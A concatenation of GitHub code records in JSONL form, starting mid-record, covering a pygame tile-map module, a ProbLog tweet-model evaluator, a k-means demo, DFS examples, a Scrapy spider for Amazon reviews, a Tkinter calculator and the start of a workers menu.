23) #ground offset\n size = (32, 9) #real ground size\n self.ground = []\n self.btns = {}\n self.pipe_exits = {}\n\n for key in mapdata.tiles.keys(): #get map data\n tile = mapdata.tiles[key]\n pipe = mapdata.pipes[key]\n #pipe = mapdata.pipes[key]\n\n if tile.type==\"start.png\":\n self.start = tile.pos\n elif tile.type==\"finish.png\":\n self.finish = get_tilepos(key, center=True)\n elif tile.type == \"btn.png\":\n x, y = get_tilepos(key, center=True)\n self.btns[key] = (x,y)\n elif pipe.type == \"pipe_exit.png\":\n x, y = get_tilepos(key, center=True)\n self.pipe_exits[key] = (x,y)\n\n\n\n #get ground\n if tile.type == \"ground.png\" or \\\n tile.type == \"start.png\" or \\\n tile.type == \"btn.png\" or \\\n tile.type == \"finish.png\":\n x, y = get_tilepos(key)\n y = y + offset[1] #add y_offset of ground\n rect = pygame.rect.Rect([(x,y), size])\n self.ground.append(rect)\n\n def place_player(self, player, pos=None):\n #put player on start pos\n if pos is None:\n x, y = self.start\n else:\n x, y = pos\n x *= 32\n y = y*32 + 35\n player.set_pos((x,y))\n\n\n def check_collisions(self, player):\n if player.mode != 0:\n return\n\n if player.rect.collidelist(self.ground) > -1:\n if player.falling > 4:\n player.die_fall()\n\n #move player up\n x, y = player.pos\n y -= player.fall_speed\n player.set_pos((x,y))\n\n\n def player_on_btn(self, player):\n #return button color if player near button\n for key in self.btns.keys():\n b = self.btns[key]\n if player.rect.collidepoint(b):\n btn = self.mapdata.tiles[key]\n return btn.color\n return None\n\n def player_on_pipeexit(self, player):\n for key in self.pipe_exits.keys():\n p = self.pipe_exits[key]\n if player.rect.collidepoint(p):\n return key\n return None\n\n def player_on_finish(self, player):\n return player.rect.collidepoint(self.finish)\n\n def use_btn(self, colnr):\n #flip every pipe with given color\n for key in self.mapdata.pipes.keys():\n p = self.mapdata.pipes[key]\n if p.color == colnr:\n if p.type == \"pipe_tjunc.png\":\n p.switch_block()\n elif p.type == \"pipe.png\" or p.type == \"pipe_turn.png\":\n p.add_rot()\n\n def pipe_player(self, player):\n #move player through pipe\n\n if player.prev_coord:\n next_coord, dead_end=self.next_pipe(player.coord, player.prev_coord)\n else:\n next_coord, dead_end = player.coord, None\n\n if next_coord is None and dead_end is None:\n dead_end = player.coord\n\n if dead_end:\n self.place_player(player, dead_end)\n from_p = self.mapdata.pipes[player.coord]\n if dead_end in self.mapdata.pipes.keys() and \\\n self.mapdata.pipes[dead_end].type!=\"pipe_tjunc.png\":\n player.unpipe()\n self.place_player(player, dead_end)\n else:\n player.die_pipe()\n return\n\n cx, cy = next_coord\n pipe = self.mapdata.pipes[cx, cy]\n\n player.prev_coord = player.coord\n player.coord = next_coord\n\n x, y = get_tilepos(player.coord)\n\n if pipe.type==\"pipe_tjunc.png\":\n #straight: (0,2), (1,3)\n rfree = without_block(pipe)\n if (0 in rfree and 2 in rfree) or \\\n (1 in rfree and 3 in rfree):\n img = GFX_wobbly[\"pipe.png\"][0].copy()\n else:\n img = GFX_wobbly[\"pipe_turn.png\"][0].copy()\n else:\n img = GFX_wobbly[pipe.type][0].copy()\n if pipe.rot:\n img = pygame.transform.rotate(img, pipe.rot*90)\n\n player.image = img\n player.set_pos((x,y))\n\n\n\n def next_pipe(self, coord, prev_coord):\n #find next valid coord on pipe path\n # 0, 1, 2, 3 = up, left, down, right\n\n x, y = coord\n next = [(x,y-1), (x-1,y), (x,y+1), (x+1,y)]\n pipe = self.mapdata.pipes[coord]\n p_free = without_block(pipe)\n\n next_coord = None\n dead_end = None\n for f in p_free:\n check = next[f]\n if check == prev_coord:\n continue\n if check in self.mapdata.pipes.keys():\n n_pipe = self.mapdata.pipes[check]\n n_free = without_block(n_pipe)\n if (f==0 and 2 in n_free) or \\\n (f==1 and 3 in n_free) or \\\n (f==2 and 0 in n_free) or \\\n (f==3 and 1 in n_free):\n next_coord = next[f]\n else:\n dead_end = next[f]\n\n return next_coord, dead_end\n\n\ndef without_block(pipe):\n #get free tile without block\n p_free = pipe.free[:]\n if pipe.type==\"pipe_tjunc.png\":\n b = pipe.block + pipe.rot\n if b > 3:\n b -= 4\n if b in p_free:\n p_free.remove(b)\n return p_free\n\ndef get_tilepos(pos, center=False):\n x, y = (pos[0]*32, pos[1]*32 + 32)\n if center:\n x += 16\n y += 16 #get center point of tile\n return (x,y)\n","repo_name":"ServalKatze/mr-wobblys-great-escape","sub_path":"gamelib/gfxmap.py","file_name":"gfxmap.py","file_ext":"py","file_size_in_byte":5999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17306567233","text":"from math import sqrt\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom problog.program import PrologString\nfrom problog.core import ProbLog\nfrom problog import get_evaluatable\nfrom problog.engine import DefaultEngine\nfrom problog.logic import Term\nfrom problog.learning import lfi\nfrom problog.tasks import sample\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nfrom EntitiesOfTweet import NewTweet\nfrom functions import sentiment_analyzer_scores, readRelatedWordsDict, checkPlace\nfrom functions import *\nimport sys\nimport csv\nimport pandas as pd\nimport collections\nimport json\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\n\n#this function is for evaluation of model, this function takes as input the csv file and returns the metrics of RMSE, MAE,MSE\ndef evaluationOfTrainedModel(file):\n randomVariables = {}\n y_pred=[]\n analyzer = SentimentIntensityAnalyzer()\n #read the model.txt if exists, and store the content in list content\n with open('models/model.txt') as f:\n content = f.readlines()\n content = [x.strip() for x in content]\n\n tweetsList = []\n\n with open('datasets/' + file, 'r', encoding='utf-8-sig') as csvFile:\n reader = csv.reader(csvFile)\n # read csv for tweets row by row and store them in list\n for row in reader:\n temp = collectWords(row[0])\n hashtags = collectHashTags(temp)\n tweetsList.append(\n Tweet(row[0], row[1], row[2], row[3],\n hashtags)) #put the instance of Tweet class in list\n csvFile.close() #close the csv file\n\n trainedModelStr = \"\"\n # create model based on txt\n for i in range(1, len(content)):\n trainedModelStr = trainedModelStr + content[i] + \"\\n\"\n\n # in this for loop takes all random variables in dictionary\n for i in range(1, len(content)):\n if \":-\" in content[i]:\n break\n strSplit = content[i].split(\"::\")\n randomVar = strSplit[1].split(\".\")\n randomVariables[randomVar[0]] = False\n\n p = PrologString(trainedModelStr)\n engine = DefaultEngine()\n db = engine.prepare(p)\n lf = engine.ground_all(db)\n query = Term('visitLocation')\n count = 0\n TruePositive = 0\n for i in range(1, len(tweetsList)):\n evidence = []\n evidenceDict = {}\n evidenceDict = randomVariables.copy()\n # print(i, '----------------------------------new tweet------------------------------------------------------')\n tweet1 = NewTweet(tweetsList[i].text, tweetsList[i].create, tweetsList[i].location)\n evidenceDict = sentiment_analyzer_scores(tweet1.text, analyzer,\n evidenceDict) # sentiment analysis, check if sentiment is neg or positive\n evidenceDict = readRelatedWordsDict(tweet1.text,\n evidenceDict) #NER in tweets\n evidenceDict = checkPlace(tweet1.location,\n evidenceDict) # check if user is from ccrete\n evidenceDict = {Term(k): v for k, v in evidenceDict.items()}\n evidence = [(key, value) for key, value in evidenceDict.items()]\n lf = engine.ground_all(db, evidence=evidence, queries=[query])\n result = get_evaluatable().create_from(lf).evaluate()\n count = count + 1\n for tweet, score in result.items():\n y_pred.append(score)\n\n evidence = []\n evidenceDict = {}\n evidenceDict = randomVariables.copy()\n\n finalPososto = TruePositive / count\n\n return y_pred\n","repo_name":"szervoudakis/OpinionMine","sub_path":"evaluationOfModel.py","file_name":"evaluationOfModel.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71190747893","text":"import os\n# Create a new file for testing file handler\n# File will be created as dummy.txt and text file\nfile_name = \"dummy.txt\"\n\nif os.path.exists(file_name):\n print(\"File \" + file_name + \" already exists.\")\nelse:\n file = open(file_name, \"xt\")\n\n","repo_name":"GregGun/FileHandler","sub_path":"createDummyFile.py","file_name":"createDummyFile.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21981959392","text":"import numpy as np\nfrom sklearn.cluster import KMeans\nfrom sklearn.datasets import make_blobs\nimport matplotlib.pyplot as plt\n\nn_data = 1000\nseed = 1\nn_clusters = 4\nn_centers = 4\n\n# 产生高斯随机数,运行K-均值\nblobs, blob_labels = make_blobs(n_samples=n_data, n_features=2,centers=n_centers, random_state=seed)\n\nclusters_blob = KMeans(n_clusters=n_centers, random_state=seed).fit_predict(blobs)\n\n# 产生随机数,运行K-均值\nuniform = np.random.rand(n_data, 2)\nclusters_uniform = KMeans(n_clusters=n_clusters, random_state=seed).fit_predict(uniform)\n\n# 使用Matplotlib进行结果可视化\nfigure = plt.figure()\nplt.subplot(221)\nplt.scatter(blobs[:, 0], blobs[:, 1], c=blob_labels, cmap='gist_rainbow')\nplt.title(\"(a) Four randomly generated blobs\", fontsize=14)\nplt.axis('off')\n\nplt.subplot(222)\nplt.scatter(blobs[:, 0], blobs[:, 1], c=clusters_blob, cmap='gist_rainbow')\nplt.title(\"(b) Clusters found via K-means\", fontsize=14)\nplt.axis('off')\n\nplt.subplot(223)\nplt.scatter(uniform[:, 0], uniform[:, 1])\nplt.title(\"(c) 1000 randomly generated points\", fontsize=14)\nplt.axis('off')\n\nplt.subplot(224)\nplt.scatter(uniform[:, 0], uniform[:, 1], c=clusters_uniform, cmap='gist_rainbow')\nplt.title(\"(d) Clusters found via K-means\", fontsize=14)\nplt.axis('off')\nplt.show()","repo_name":"shushanxingzhe/python_learning","sub_path":"scikitlearn/kmeansTry.py","file_name":"kmeansTry.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6113754299","text":"import scrapy\nfrom urllib.parse import urljoin\n\n\nclass ReviewSpider(scrapy.Spider):\n\n name = \"amazon_review\"\n custom_settings = {\n 'FEEDS': { 'data/%(name)s_%(time)s.csv': { 'format': 'csv',}}\n }\n\n def start_requests(self):\n asin_list = ['B09G9FPHY6']\n for asin in asin_list:\n amazon_reviews_url = f'https://www.amazon.com/product-reviews/{asin}/'\n yield scrapy.Request(\n url=amazon_reviews_url, \n callback=self.parse_reviews, \n meta={\n 'asin': asin, \n 'retry_count': 0\n },\n headers = {\n 'cookie': 'session-id=145-2965537-2794709; session-id-time=2082787201l; i18n-prefs=USD; sp-cdn=\"L5Z9:VN\"; skin=noskin; ubid-main=134-0234276-2581076; session-token=\"pmwhuXfRv19MUB/2vcGSWJ1okHV32donkGRofTW5bTPm7TiDIYrdprnKTE+tAoFRberO6jmT20wOqldv/bTAk1rF0xHLKvf6+mQp5SqEb8Sao5D6TYuhJgqM6x2x5Tbvq0khhVF894upg6gFHu8qgNownygiVOi/15vV1aYZUvHWBfPiiksIo1oUjIyAHXhrM9TcqpgDzY4msgbXcS9ac9mppN+wTdvhdp7LSMAZK90=\"; csm-hit=tb:J4H6ZGZG57S2HMG4V9QA+s-2Q4X6RBY01DYA5D1ENRG|1688984352447&t:1688984352447&adb:adblk_no',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67'\n }\n )\n\n\n def parse_reviews(self, response):\n asin = response.meta['asin']\n retry_count = response.meta['retry_count']\n\n next_page_relative_url = response.css(\".a-pagination .a-last>a::attr(href)\").get()\n if next_page_relative_url is not None:\n retry_count = 0\n next_page = urljoin('https://www.amazon.com/', next_page_relative_url)\n yield scrapy.Request(url=next_page, callback=self.parse_reviews, meta={'asin': asin, 'retry_count': retry_count})\n\n ## Adding this retry_count here so we retry any amazon js rendered review pages\n elif retry_count < 3:\n retry_count = retry_count+1\n yield scrapy.Request(url=response.url, callback=self.parse_reviews, dont_filter=True, meta={'asin': asin, 'retry_count': retry_count})\n\n\n ## Parse Product Reviews\n review_elements = response.css(\"#cm_cr-review_list div.review\")\n for review_element in review_elements:\n yield {\n \"asin\": asin,\n \"text\": \"\".join(review_element.css(\"span[data-hook=review-body] ::text\").getall()).strip(),\n \"title\": review_element.css(\"*[data-hook=review-title]>span::text\").get(),\n \"location_and_date\": review_element.css(\"span[data-hook=review-date] ::text\").get(),\n \"verified\": bool(review_element.css(\"span[data-hook=avp-badge] ::text\").get()),\n \"rating\": review_element.css(\"*[data-hook*=review-star-rating] ::text\").re(r\"(\\d+\\.*\\d*) out\")[0],\n }\n \n\n","repo_name":"nghilethanh09052000/Scraper-Amazon-Product","sub_path":"amazon_product/amazon_product/spiders/review.py","file_name":"review.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20886217475","text":"def dfsR(graph, v, visited):\n visited[v] = True\n print(v, end=\" \")\n for i in graph[v]:\n if not visited[i]:\n dfsR(graph, i, visited)\n\ndef dfs(graph, v, visited):\n stack = []\n stack.append(v)\n visited[v] = True\n while(stack):\n node = stack.pop()\n for adjacent in graph[node]:\n if visited[adjacent] == False:\n visited[adjacent] = True\n stack.append(adjacent)\n print(node, end=\" \")\n\ngraph = [\n [],\n [2,3,8],\n [1,7],\n [1,4,5],\n [3,5],\n [3,4],\n [7],\n [2,6,8],\n [1,7]\n]\n\n\nvisited1 = [False] * len(graph)\nvisited2 = [False] * len(graph)\n\ndfsR(graph, 1, visited1)\nprint(\" / \")\ndfs(graph, 1, visited2)","repo_name":"kimgahyeon/algorithm","sub_path":"algorithm/graph/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71156251892","text":"#Special Calculator\n#wrote by HAO PENG. ID:1780718\n\nfrom tkinter import*\nfrom math import*\n\nnum_reg=0 #fot one-argument option, this variable store the number. for two-arguments option, it store the first argument\nsymbol_record='' #this variable store the operational character\nnumtype_record=1 #if the vale of this variable is 0, it represents integer mode. if it is 1, it represent float mode \nangtype_record=0 #if the vale of this variable is 0, it represents degree mode. if it is 1, it represent radian mode \n\ndef clean(event): #clean the entry text and initialize all variables\n global symbol_record\n global num_reg\n num_reg=0\n symbol_record=''\n display['text']=''\n numEntry.delete(0,'end')\n\ndef delete(event): #delect function\n global num_reg\n global symbol_record\n ind=numEntry.index('end')\n ind=ind-1\n if symbol_record=='': #if there is no operational character, then it will delete last digit of num_reg \n numEntry.delete(ind)\n if ind>0:\n #if numtype_record==0:\n num_reg=numEntry.get()\n #else:\n #num_reg=float(numEntry.get())\n numEntry.delete(0,'end')\n numEntry.insert('end',num_reg)\n if ind==0:\n num_reg=0\n else: #if there is operational character, then it will delete last digit of second argument \n if ind>0:\n numEntry.delete(ind)\n #if numtype_record==0:\n num=numEntry.get()\n #else:\n #num=float(numEntry.get())\n numEntry.delete(0,'end')\n numEntry.insert('end',num)\n if ind==0:\n numEntry.delete(ind)\n if ind<0: #or delect the operator\n symbol_record=''\n numEntry.delete(0,'end')\n numEntry.insert('end',num_reg)\n display['text']=str(num_reg)+symbol_record\n \ndef integers(event): #set mode as integer mode\n global numtype_record\n numtype_record=0\n label1['text']='Integer mood'\n\ndef floats(event): #set mode as float mode\n global numtype_record\n numtype_record=1\n label1['text']='Float mood'\n\ndef degrees(event): #set mode as degree mode\n global angtype_record\n angtype_record=0\n label2['text']='Degree mood'\n\ndef radians(event): #set mode as radian mode\n global angtype_record\n angtype_record=1\n label2['text']='Radian mood'\n\ndef seven(event): #input 7\n numEntry.insert('end',7)\ndef eight(event): #input 8\n numEntry.insert('end',8)\ndef nine(event): #input 9\n numEntry.insert('end',9)\ndef four(event): #input 4\n numEntry.insert('end',4)\ndef five(event): #input 5\n numEntry.insert('end',5)\ndef six(event): #input 6\n numEntry.insert('end',6)\ndef one(event): #input 1\n numEntry.insert('end',1)\ndef two(event): #input 2\n numEntry.insert('end',2)\ndef three(event): #input 3\n numEntry.insert('end',3)\ndef zero(event): #input 0\n numEntry.insert('end',0)\ndef point(event): #input '.'\n numEntry.insert('end','.')\n \ndef subtract(event): #funvtion of subtraction and negative indication\n global num_reg\n global symbol_record\n global numtype_record\n ind=numEntry.index('end')\n if ind==0: #if there is no value,the '-' will represent negative indication\n numEntry.insert('end','-')\n else: #if there has value,the '-' will represent subtraction\n if numtype_record==0:\n num_reg=int(numEntry.get())\n else:\n num_reg=float(numEntry.get())\n display['text']=str(num_reg)+'-'\n numEntry.delete(0,'end')\n symbol_record='-'\ndef add(event): #funvtion of addition\n global num_reg\n global symbol_record\n global numtype_record\n ind=numEntry.index('end')\n if ind==0:\n numEntry.insert('end','+')\n else:\n if numtype_record==0:\n num_reg=int(numEntry.get())\n else:\n num_reg=float(numEntry.get())\n display['text']=str(num_reg)+'+'\n numEntry.delete(0,'end')\n symbol_record='+'\ndef mul(event): #funvtion of multipling\n global num_reg\n global symbol_record\n global numtype_record\n if numtype_record==0:\n num_reg=int(numEntry.get())\n else:\n num_reg=float(numEntry.get())\n display['text']=str(num_reg)+'*'\n numEntry.delete(0,'end')\n symbol_record='*'\ndef div(event): #funvtion of dividing\n global num_reg\n global symbol_record\n global numtype_record\n if numtype_record==0:\n num_reg=int(numEntry.get())\n else:\n num_reg=float(numEntry.get())\n display['text']=str(num_reg)+'/'\n numEntry.delete(0,'end')\n symbol_record='/'\n\ndef square_root(event): #Founction of square_root\n global numtype_record\n global num_reg\n num=float(numEntry.get())\n if num<0:\n display['text']='√'+str(num)+' negative input'\n else:\n if numtype_record==0:\n num_reg=int(sqrt(num))\n num=int(num)\n else:\n num_reg=float(sqrt(num))\n display['text']='√'+str(num)+'='+str(num_reg)\n numEntry.delete(0,'end')\n numEntry.insert(0,num_reg)\n\ndef raise_to_power(event): #Founction of power\n global num_reg\n global symbol_record\n global numtype_record\n if numtype_record==0:\n num_reg=int(numEntry.get())\n else:\n num_reg=float(numEntry.get())\n display['text']=str(num_reg)+'^'\n numEntry.delete(0,'end')\n symbol_record='^'\n\ndef log_ten(event): #Founction of log based on 10\n global numtype_record\n num=float(numEntry.get())\n if num<=0:\n display['text']='log'+str(num)+' input is unvaluable, error'\n else:\n if numtype_record==0:\n num_reg=int(log10(num))\n num=int(num)\n else:\n num_reg=float(log10(num))\n display['text']='log'+str(num)+'='+str(num_reg)\n numEntry.delete(0,'end')\n numEntry.insert(0,num_reg)\n\ndef sins(event): #Founction of sin\n global numtype_record\n global angtype_record\n num=float(numEntry.get())\n if angtype_record==0:\n if numtype_record==0:\n num_reg=int(sin(num*pi/180)) #in degree mode, it will transform degree to radian, then caculate the function\n num=int(num)\n else:\n num_reg=float(sin(num*pi/180)) \n else:\n if numtype_record==0:\n num_reg=int(sin(num))\n num=int(num)\n else:\n num_reg=float(sin(num))\n display['text']='sin'+str(num)+'='+str(num_reg)\n numEntry.delete(0,'end')\n numEntry.insert(0,num_reg)\n\ndef coss(event): #Founction of cos\n global numtype_record\n global angtype_record\n num=float(numEntry.get())\n if angtype_record==0:\n if numtype_record==0:\n num_reg=int(cos(num*pi/180))\n num=int(num)\n else:\n num_reg=float(cos(num*pi/180)) \n else:\n if numtype_record==0:\n num_reg=int(cos(num))\n num=int(num)\n else:\n num_reg=float(cos(num))\n display['text']='cos'+str(num)+'='+str(num_reg)\n numEntry.delete(0,'end')\n numEntry.insert(0,num_reg)\n\ndef tans(event): #Founction of tans\n global numtype_record\n global angtype_record\n num=float(numEntry.get())\n if angtype_record==0:\n if numtype_record==0:\n num_reg=int(tan(num*pi/180))\n num=int(num)\n else:\n num_reg=float(tan(num*pi/180)) \n else:\n if numtype_record==0:\n num_reg=int(tan(num))\n num=int(num)\n else:\n num_reg=float(tan(num))\n display['text']='tan'+str(num)+'='+str(num_reg)\n numEntry.delete(0,'end')\n numEntry.insert(0,num_reg)\n \ndef equal(event): #Founction of equality sign\n global num_reg\n global symbol_record\n global numtype_record\n if numtype_record==0:\n num=int(numEntry.get())\n else:\n num=float(numEntry.get())\n num2=num_reg\n if symbol_record=='^': #for two-arguments operation, the function 'equal' will distinguish what operator has been inputed, then run different function. here it runs power function\n if numtype_record==0:\n num_reg=int(pow(num_reg,num))\n else:\n num_reg=float(pow(num_reg,num))\n display['text']=str(num2)+'^'+str(num)+'='+str(num_reg)\n if symbol_record=='-': #here is subtraction\n num_reg=num_reg-num\n display['text']=str(num2)+'-'+str(num)+'='+str(num_reg)\n if symbol_record=='+': #here is addition\n num_reg=num_reg+num\n display['text']=str(num2)+'+'+str(num)+'='+str(num_reg)\n if symbol_record=='*': #here is multipling\n num_reg=num_reg*num\n display['text']=str(num2)+'*'+str(num)+'='+str(num_reg)\n if symbol_record=='/': #here is dividing\n if num==0:\n display['text']=str(num2)+'/'+str(num)+' dividend is 0, error'\n else:\n if numtype_record==0:\n num_reg=int(num_reg/num)\n else:\n num_reg=float(num_reg/num)\n display['text']=str(num2)+'/'+str(num)+'='+str(num_reg)\n if symbol_record=='': #here is just equal for one argument\n num_reg=num\n display['text']=str(num_reg)\n numEntry.delete(0,'end')\n numEntry.insert(0,num_reg)\n symbol_record=''\n \n\nroot=Tk() #definition of GUI interface\nroot.title('Special Calculatro')\nroot.geometry(\"350x230+200+20\")\n\nframe0=Frame(root,bg='black',width=350) #I has definded 4 frame. the first is used to displaying. the second is used to select mode. the third is use to input and output. the last one is used to construct function buttons.\nframe0.grid(row=0,column=0,sticky=W,padx=0,pady=0,ipadx=50)\n\ndisplay=Label(frame0,text='',anchor='nw',bg='black',fg='white',width=35,justify='left')\ndisplay.pack(fill=X)\n\nframe1=Frame(root,bg='black',width=350)\nframe1.grid(row=1,column=0,sticky=W,padx=0,pady=0,ipadx=3)\n\nlabel1=Label(frame1,text='Float mood',bg='#272727',fg='white',anchor='center',justify='center',width=12) # display laber\nlabel1.grid(row=0,column=0,sticky=W+E+N+S,padx=1,pady=2,ipadx=40)\n\nlabel2=Label(frame1,text='Degree mood',bg='#272727',fg='white',anchor='center',justify='center',width=12)\nlabel2.grid(row=0,column=1,sticky=W+E+N+S,padx=1,pady=2,ipadx=40)\n\nframe2=Frame(root,bg=\"black\",width=350)\nframe2.grid(row=2,column=0,sticky=W,padx=0,pady=0,ipadx=2)\n\nintButton=Button(frame2,text='Integer',width=8,bg='#adadad',fg='white') # mode select button\nintButton.bind(\"\",integers)\nintButton.grid(row=0,column=0,sticky=W+E+N+S,padx=1,pady=2,ipadx=11)\n\nfloButton=Button(frame2,text='Float',width=7,bg='#adadad',fg='white')\nfloButton.bind(\"\",floats)\nfloButton.grid(row=0,column=1,sticky=W+E+N+S,padx=1,pady=2,ipadx=11)\n\ndegButton=Button(frame2,text='Degree',width=8,bg='#adadad',fg='white')\ndegButton.bind(\"\",degrees)\ndegButton.grid(row=0,column=2,sticky=W+E+N+S,padx=1,pady=2,ipadx=11)\n\nradButton=Button(frame2,text='Radian',width=7,bg='#adadad',fg='white')\nradButton.bind(\"\",radians)\nradButton.grid(row=0,column=3,sticky=W+E+N+S,padx=1,pady=2,ipadx=11)\n\nframe3=Frame(root,bg='black',width=350)\nframe3.grid(row=4,column=0,sticky=W,padx=0,pady=0,ipadx=3)\n\nnumEntry=Entry(frame3,bg='black',fg='white') #entry type which achieve the inputing and outputing of number\nnumEntry.pack(side=LEFT,padx=1,pady=2,ipadx=40)\n\nDButton=Button(frame3,text='Delete',fg='white',bg='red') #delect button\nDButton.bind(\"\",delete)\nDButton.pack(side=LEFT,padx=1,pady=2,ipadx=13)\n\ncButton=Button(frame3,text='Clear',fg='white',bg='orange') #clean button\ncButton.bind(\"\",clean)\ncButton.pack(side=LEFT,padx=1,pady=2,ipadx=13)\n\nframe4=Frame(root,bg=\"black\",width=350) #in this frame, all the elements using grid to construct.\nframe4.grid(row=5,column=0,sticky=W,padx=0,pady=0,ipadx=4)\n\nsevenButton=Button(frame4,text='7',bg='#3c3c3c',fg='white',width=3) #here are numbers button for 0 to 9\nsevenButton.bind(\"\",seven)\nsevenButton.grid(row=0,column=0,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\neightButton=Button(frame4,text='8',bg='#3c3c3c',fg='white',width=3)\neightButton.bind(\"\",eight)\neightButton.grid(row=0,column=1,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nnineButton=Button(frame4,text='9',bg='#3c3c3c',fg='white',width=3)\nnineButton.bind(\"\",nine)\nnineButton.grid(row=0,column=2,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nfourButton=Button(frame4,text='4',bg='#3c3c3c',fg='white',width=3)\nfourButton.bind(\"\",four)\nfourButton.grid(row=1,column=0,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nfiveButton=Button(frame4,text='5',bg='#3c3c3c',fg='white',width=3)\nfiveButton.bind(\"\",five)\nfiveButton.grid(row=1,column=1,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nsixButton=Button(frame4,text='6',bg='#3c3c3c',fg='white',width=3)\nsixButton.bind(\"\",six)\nsixButton.grid(row=1,column=2,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\noneButton=Button(frame4,text='1',bg='#3c3c3c',fg='white',width=3)\noneButton.bind(\"\",one)\noneButton.grid(row=2,column=0,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\ntwoButton=Button(frame4,text='2',bg='#3c3c3c',fg='white',width=3)\ntwoButton.bind(\"\",two)\ntwoButton.grid(row=2,column=1,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nthreeButton=Button(frame4,text='3',bg='#3c3c3c',fg='white',width=3)\nthreeButton.bind(\"\",three)\nthreeButton.grid(row=2,column=2,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\naddButton=Button(frame4,text='+',bg='orange',fg='black',width=3) #'+'button\naddButton.bind(\"\",add)\naddButton.grid(row=2,column=3,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nmulButton=Button(frame4,text='*',bg='orange',fg='black',width=3) #'*'button\nmulButton.bind(\"\",mul)\nmulButton.grid(row=2,column=4,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nname1=Label(frame4,text='Designer:',bg='black',fg='white',anchor='center',justify='center',width=3)\nname1.grid(row=2,column=5,sticky=W+E+N+S,padx=1,pady=2,ipadx=4)\nzeroButton=Button(frame4,text='0',bg='#3c3c3c',fg='white',width=3)\nzeroButton.bind(\"\",zero)\nzeroButton.grid(row=3,column=0,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\npointButton=Button(frame4,text='.',bg='#3c3c3c',fg='white',width=3) #here is '.' button\npointButton.bind(\"\",point)\npointButton.grid(row=3,column=1,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nequButton=Button(frame4,text='=',width=3) # here is \"euqal\" button\nequButton.bind(\"\",equal)\nequButton.grid(row=3,column=2,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nsubButton=Button(frame4,text='-',bg='orange',fg='black') #'-'button\nsubButton.bind(\"\",subtract)\nsubButton.grid(row=3,column=3,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\ndivButton=Button(frame4,text='/',bg='orange',fg='black') #'/'button\ndivButton.bind(\"\",div)\ndivButton.grid(row=3,column=4,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\nname2=Label(frame4,text='HAO',bg='black',fg='white',anchor='center',justify='center',width=3)\nname2.grid(row=3,column=5,sticky=W+E+N+S,padx=1,pady=2,ipadx=4)\n\npowButton=Button(frame4,text='√ sqr',bg='#7b7b7b',fg='white',width=3) #'√'button\npowButton.bind(\"\",square_root)\npowButton.grid(row=0,column=3,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\n\npowButton=Button(frame4,text='^ pow',bg='#7b7b7b',fg='white',width=3) #'^'button\npowButton.bind(\"\",raise_to_power)\npowButton.grid(row=0,column=4,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\n\nlogButton=Button(frame4,text='log10',bg='#7b7b7b',fg='white',width=3) #'log'button\nlogButton.bind(\"\",log_ten)\nlogButton.grid(row=0,column=5,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\n\nsinButton=Button(frame4,text='sin',bg='#7b7b7b',fg='white',width=3) #'sin'button\nsinButton.bind(\"\",sins)\nsinButton.grid(row=1,column=3,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\n\ncosButton=Button(frame4,text='cos',bg='#7b7b7b',fg='white',width=3) #'cos'button\ncosButton.bind(\"\",coss)\ncosButton.grid(row=1,column=4,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\n\ntanButton=Button(frame4,text='tan',bg='#7b7b7b',fg='white',width=3) #'tan'button\ntanButton.bind(\"\",tans)\ntanButton.grid(row=1,column=5,sticky=W+E+N+S,padx=1,pady=2,ipadx=12)\n\nframe4=Frame(root,bg=\"black\",width=350,height=10) #in this frame, all the elements using grid to construct.\nframe4.grid(row=6,column=0,sticky=W,padx=0,pady=0,ipadx=0)\n\nroot.mainloop()\n \n","repo_name":"BoyPao/Calculator","sub_path":"Python_calculator.py","file_name":"Python_calculator.py","file_ext":"py","file_size_in_byte":17383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2995398871","text":"import utils\r\nfrom persons import Worker\r\n\r\n\r\ndef print_workers_menu():\r\n print(\"\"\"Options:\r\n 1 - Log In\r\n 2 - Add new worker\r\n 3 - Return to main menu\"\"\")\r\n\r\n\r\ndef workers_menu(workers, box_list):\r\n response = 0\r\n while response != 3:\r\n print_workers_menu()\r\n response = utils.int_input()\r\n if response == 1:\r\n name = input(\"Whats your name?\")\r\n n_response = 0\r\n while n_response != 4:\r\n n_response = int(input(\"\"\"Options:\r\n 1 - 